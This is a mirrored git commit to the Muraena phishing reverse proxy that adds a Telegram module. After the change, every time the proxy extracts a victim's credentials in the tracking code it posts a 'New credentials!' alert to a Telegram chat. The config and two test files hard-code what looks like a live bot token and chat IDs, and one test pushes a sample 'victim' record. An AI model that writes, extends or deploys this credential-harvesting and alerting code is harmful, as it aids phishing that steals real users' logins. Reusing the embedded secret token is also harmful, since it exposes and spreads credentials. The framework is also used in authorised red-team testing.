mirror of
https://github.com/muraenateam/muraena.git
synced 2026-01-23 02:24:05 +00:00
Add Telegram module ✨
This commit is contained in:
parent
45c056a8eb
commit
0619dee321
13 changed files with 281 additions and 10 deletions
|
|
@ -267,3 +267,11 @@ enabled = false
|
|||
end = "&"
|
||||
|
||||
|
||||
|
||||
#
|
||||
# TELEGRAM
|
||||
#
|
||||
[telegram]
|
||||
enabled = true
|
||||
botToken = "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo"
|
||||
chatIDs = ["-1001856562703"]
|
||||
|
|
|
|||
|
|
@ -112,7 +112,7 @@ func (muraena *MuraenaProxy) RequestBodyProcessor(request *http.Request, track *
|
|||
|
||||
func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error) {
|
||||
|
||||
sess := muraena.Session
|
||||
sess := muraena.Session
|
||||
base64 := Base64{
|
||||
sess.Config.Transform.Base64.Enabled,
|
||||
sess.Config.Transform.Base64.Padding,
|
||||
|
|
@ -165,7 +165,6 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
|
|||
// Restore query string with new values
|
||||
request.URL.RawQuery = query.Encode()
|
||||
|
||||
|
||||
// Remove headers
|
||||
for _, header := range sess.Config.Remove.Request.Headers {
|
||||
request.Header.Del(header)
|
||||
|
|
|
|||
|
|
@ -101,8 +101,6 @@ func Run(sess *session.Session) {
|
|||
lline := fmt.Sprintf("Muraena is alive on %s \n[ %s ] ==> [ %s ]", tui.Green(listeningAddress), tui.Yellow(sess.Config.Proxy.Phishing), tui.Green(sess.Config.Proxy.Target))
|
||||
log.Info(lline)
|
||||
|
||||
|
||||
|
||||
if *sess.Options.Proxy {
|
||||
// If HTTP_PROXY or HTTPS_PROXY env variables are defined
|
||||
// all the proxy traffic will be forwarded to the defined proxy.
|
||||
|
|
@ -114,7 +112,7 @@ func Run(sess *session.Session) {
|
|||
}
|
||||
|
||||
if env == "" {
|
||||
log.Error( "Unable to find proxy setup from environment variables HTTP_PROXY and HTTPs_PROXY." )
|
||||
log.Error("Unable to find proxy setup from environment variables HTTP_PROXY and HTTPs_PROXY.")
|
||||
} else {
|
||||
log.Info("Muraena will be proxied to: %s", env)
|
||||
}
|
||||
|
|
|
|||
|
|
@ -4,6 +4,7 @@ import (
|
|||
"github.com/muraenateam/muraena/module/crawler"
|
||||
"github.com/muraenateam/muraena/module/necrobrowser"
|
||||
"github.com/muraenateam/muraena/module/statichttp"
|
||||
"github.com/muraenateam/muraena/module/telegram"
|
||||
"github.com/muraenateam/muraena/module/tracking"
|
||||
"github.com/muraenateam/muraena/module/watchdog"
|
||||
"github.com/muraenateam/muraena/session"
|
||||
|
|
@ -16,4 +17,5 @@ func LoadModules(s *session.Session) {
|
|||
s.Register(tracking.Load(s))
|
||||
s.Register(necrobrowser.Load(s))
|
||||
s.Register(watchdog.Load(s))
|
||||
s.Register(telegram.Load(s))
|
||||
}
|
||||
|
|
|
|||
2
module/telegram/doc.go
Normal file
2
module/telegram/doc.go
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
// Package telegram is a module that sends notification to a Telegram chat when certain conditions trigger
|
||||
package telegram
|
||||
150
module/telegram/telegram.go
Normal file
150
module/telegram/telegram.go
Normal file
|
|
@ -0,0 +1,150 @@
|
|||
package telegram
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
"github.com/muraenateam/muraena/log"
|
||||
"github.com/muraenateam/muraena/session"
|
||||
)
|
||||
|
||||
const (
|
||||
Name = "telegram"
|
||||
Description = "A module that sends notifications via Telegram chat"
|
||||
Author = "Muraena Team"
|
||||
)
|
||||
|
||||
// Telegram module
|
||||
type Telegram struct {
|
||||
session.SessionModule
|
||||
|
||||
Enabled bool
|
||||
BotToken string
|
||||
ChatID []string
|
||||
}
|
||||
|
||||
// Name returns the module name
|
||||
func (module *Telegram) Name() string {
|
||||
return Name
|
||||
}
|
||||
|
||||
// Description returns the module description
|
||||
func (module *Telegram) Description() string {
|
||||
return Description
|
||||
}
|
||||
|
||||
// Author returns the module author
|
||||
func (module *Telegram) Author() string {
|
||||
return Author
|
||||
}
|
||||
|
||||
// Prompt prints module status based on the provided parameters
|
||||
func (module *Telegram) Prompt() {
|
||||
|
||||
menu := []string{
|
||||
"show",
|
||||
}
|
||||
result, err := session.DoModulePrompt(Name, menu)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
switch result {
|
||||
case "show":
|
||||
module.PrintConfig()
|
||||
}
|
||||
}
|
||||
|
||||
// Load configures the module by initializing its main structure and variables
|
||||
func Load(s *session.Session) (m *Telegram, err error) {
|
||||
|
||||
m = &Telegram{
|
||||
SessionModule: session.NewSessionModule(Name, s),
|
||||
Enabled: s.Config.Telegram.Enabled,
|
||||
BotToken: s.Config.Telegram.BotToken,
|
||||
ChatID: s.Config.Telegram.ChatIDs,
|
||||
}
|
||||
|
||||
if !m.Enabled {
|
||||
m.Debug("is disabled")
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func Self(s *session.Session) *Telegram {
|
||||
|
||||
m, err := s.Module(Name)
|
||||
if err != nil {
|
||||
log.Error("%s", err)
|
||||
} else {
|
||||
mod, ok := m.(*Telegram)
|
||||
if ok {
|
||||
return mod
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// PrintConfig shows the actual Telegram configuration
|
||||
func (module *Telegram) PrintConfig() {
|
||||
module.Info("Telegram config:\n\tBotToken: %s\n\tChatIDs:%v", module.BotToken, module.ChatID)
|
||||
}
|
||||
|
||||
func (module *Telegram) getUrl() string {
|
||||
return fmt.Sprintf("https://api.telegram.org/bot%s", module.BotToken)
|
||||
}
|
||||
|
||||
func (module *Telegram) Send(message string) {
|
||||
|
||||
if !module.Enabled {
|
||||
return
|
||||
}
|
||||
|
||||
for _, chat := range module.ChatID {
|
||||
if err := module.sendToChat(chat, message); err != nil {
|
||||
module.Warning("Message %s was not delivered to chat:%s", tui.Bold(message), tui.Bold(chat))
|
||||
module.Debug("%s", tui.Red(err.Error()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (module *Telegram) sendToChat(chat, message string) (err error) {
|
||||
|
||||
var response *http.Response
|
||||
|
||||
//module.Debug(`curl https://api.telegram.org/bot%s/sendMessage -H "Content-Type: application/json" -v -d '{"chat_id":"%s","text":"%s"}'`, module.BotToken, chat, message)
|
||||
|
||||
// Send the message
|
||||
url := fmt.Sprintf("%s/sendMessage", module.getUrl())
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"chat_id": chat,
|
||||
"text": message,
|
||||
})
|
||||
response, err = http.Post(
|
||||
url,
|
||||
"application/json",
|
||||
bytes.NewBuffer(body),
|
||||
)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Close the request at the end
|
||||
defer response.Body.Close()
|
||||
|
||||
// Body
|
||||
body, err = ioutil.ReadAll(response.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module.Debug("%s", string(body))
|
||||
return
|
||||
}
|
||||
36
module/telegram/telegram_test.go
Normal file
36
module/telegram/telegram_test.go
Normal file
|
|
@ -0,0 +1,36 @@
|
|||
package telegram
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"testing"
|
||||
|
||||
"github.com/muraenateam/muraena/core"
|
||||
"github.com/muraenateam/muraena/log"
|
||||
)
|
||||
|
||||
var m *Telegram
|
||||
|
||||
// init test
|
||||
func init() {
|
||||
log.Init(core.Options{Debug: &[]bool{true}[0]}, false, "")
|
||||
|
||||
// LoadModules load modules
|
||||
m = &Telegram{
|
||||
Enabled: true,
|
||||
BotToken: "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo",
|
||||
ChatID: []string{"@muraenatest_5305919037"},
|
||||
}
|
||||
}
|
||||
|
||||
// TestModuleName ensures the module is the same, just in case :)
|
||||
func TestModuleName(t *testing.T) {
|
||||
module := "telegram"
|
||||
want := regexp.MustCompile(Name)
|
||||
if !want.MatchString(Name) {
|
||||
t.Fatalf(`The module name does not match: %q != %q`, module, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendMessage(t *testing.T) {
|
||||
m.Send("Muraena testing message")
|
||||
}
|
||||
|
|
@ -13,6 +13,7 @@ import (
|
|||
"time"
|
||||
|
||||
"github.com/manifoldco/promptui"
|
||||
"github.com/muraenateam/muraena/module/telegram"
|
||||
|
||||
"github.com/muraenateam/muraena/core"
|
||||
"github.com/muraenateam/muraena/core/db"
|
||||
|
|
@ -450,8 +451,14 @@ func (t *Trace) ExtractCredentials(body string, request *http.Request) (found bo
|
|||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
t.Info("[%s] New credentials! [%s:%s]", t.ID, creds.Key, creds. Value)
|
||||
t.Info("[%s] New credentials! [%s:%s]", t.ID, creds.Key, creds.Value)
|
||||
found = true
|
||||
|
||||
tel := telegram.Self(t.Session)
|
||||
if tel != nil {
|
||||
message := fmt.Sprintf("[%s] New credentials! [%s]", t.ID, creds.Key)
|
||||
tel.Send(message)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
61
module/tracking/tracking_test.go
Normal file
61
module/tracking/tracking_test.go
Normal file
|
|
@ -0,0 +1,61 @@
|
|||
package tracking
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/muraenateam/muraena/core"
|
||||
"github.com/muraenateam/muraena/core/db"
|
||||
"github.com/muraenateam/muraena/log"
|
||||
"github.com/muraenateam/muraena/module/telegram"
|
||||
"github.com/muraenateam/muraena/session"
|
||||
)
|
||||
|
||||
var m *Tracker
|
||||
|
||||
// init test
|
||||
func init() {
|
||||
log.Init(core.Options{Debug: &[]bool{true}[0]}, false, "")
|
||||
|
||||
s := &session.Session{}
|
||||
s.Config = &session.Configuration{}
|
||||
|
||||
m = &Tracker{
|
||||
SessionModule: session.NewSessionModule(Name, s),
|
||||
Enabled: true,
|
||||
}
|
||||
|
||||
s.Register(&telegram.Telegram{
|
||||
SessionModule: session.NewSessionModule(telegram.Name, s),
|
||||
Enabled: true,
|
||||
BotToken: "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo",
|
||||
ChatID: []string{"-1001856562703"},
|
||||
}, nil)
|
||||
|
||||
s.InitRedis()
|
||||
}
|
||||
|
||||
// TestModuleName ensures the module is the same, just in case :)
|
||||
func TestModuleName(t *testing.T) {
|
||||
module := "tracking"
|
||||
want := regexp.MustCompile(Name)
|
||||
if !want.MatchString(Name) {
|
||||
t.Fatalf(`The module name does not match: %q != %q`, module, want)
|
||||
}
|
||||
}
|
||||
|
||||
// TestModuleName ensures the module is the same, just in case :)
|
||||
func TestPushVictim(t *testing.T) {
|
||||
|
||||
v := &db.Victim{
|
||||
ID: "AAAAA",
|
||||
IP: "192.157.1.1",
|
||||
UA: "Parakalo file mou",
|
||||
RequestCount: 0,
|
||||
FirstSeen: time.Now().UTC().Format("2006-01-02 15:04:05"),
|
||||
LastSeen: time.Now().UTC().Format("2006-01-02 15:04:05"),
|
||||
}
|
||||
|
||||
m.PushVictim(v)
|
||||
}
|
||||
|
|
@ -6,9 +6,8 @@ import (
|
|||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/muraenateam/muraena/module/necrobrowser"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
"github.com/muraenateam/muraena/module/necrobrowser"
|
||||
|
||||
"github.com/muraenateam/muraena/core/db"
|
||||
"github.com/muraenateam/muraena/log"
|
||||
|
|
|
|||
|
|
@ -32,7 +32,7 @@ func init() {
|
|||
// TestModuleName ensures the module is the same, just in case :)
|
||||
func TestModuleName(t *testing.T) {
|
||||
module := "watchdog"
|
||||
want := regexp.MustCompile(module)
|
||||
want := regexp.MustCompile(Name)
|
||||
if !want.MatchString(Name) {
|
||||
t.Fatalf(`The module name does not match: %q != %q`, module, want)
|
||||
}
|
||||
|
|
|
|||
|
|
@ -224,6 +224,15 @@ type Configuration struct {
|
|||
End string `toml:"end"`
|
||||
} `toml:"patterns"`
|
||||
} `toml:"tracking"`
|
||||
|
||||
//
|
||||
// Telegram
|
||||
//
|
||||
Telegram struct {
|
||||
Enabled bool `toml:"enabled"`
|
||||
BotToken string `toml:"botToken"`
|
||||
ChatIDs []string `toml:"chatIDs"`
|
||||
} `toml:"telegram"`
|
||||
}
|
||||
|
||||
// GetConfiguration returns the configuration object
|
||||
|
|
|
|||
|
|
@ -18,7 +18,7 @@ var tlsRenegotiationToConst = map[string]tls.RenegotiationSupport{
|
|||
"FREELY": tls.RenegotiateFreelyAsClient,
|
||||
}
|
||||
|
||||
func (s *Session) GetTLSClientConfig() *tls.Config{
|
||||
func (s *Session) GetTLSClientConfig() *tls.Config {
|
||||
cTLS := s.Config.TLS
|
||||
return &tls.Config{
|
||||
MinVersion: tlsVersionToConst[cTLS.MinVersion],
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue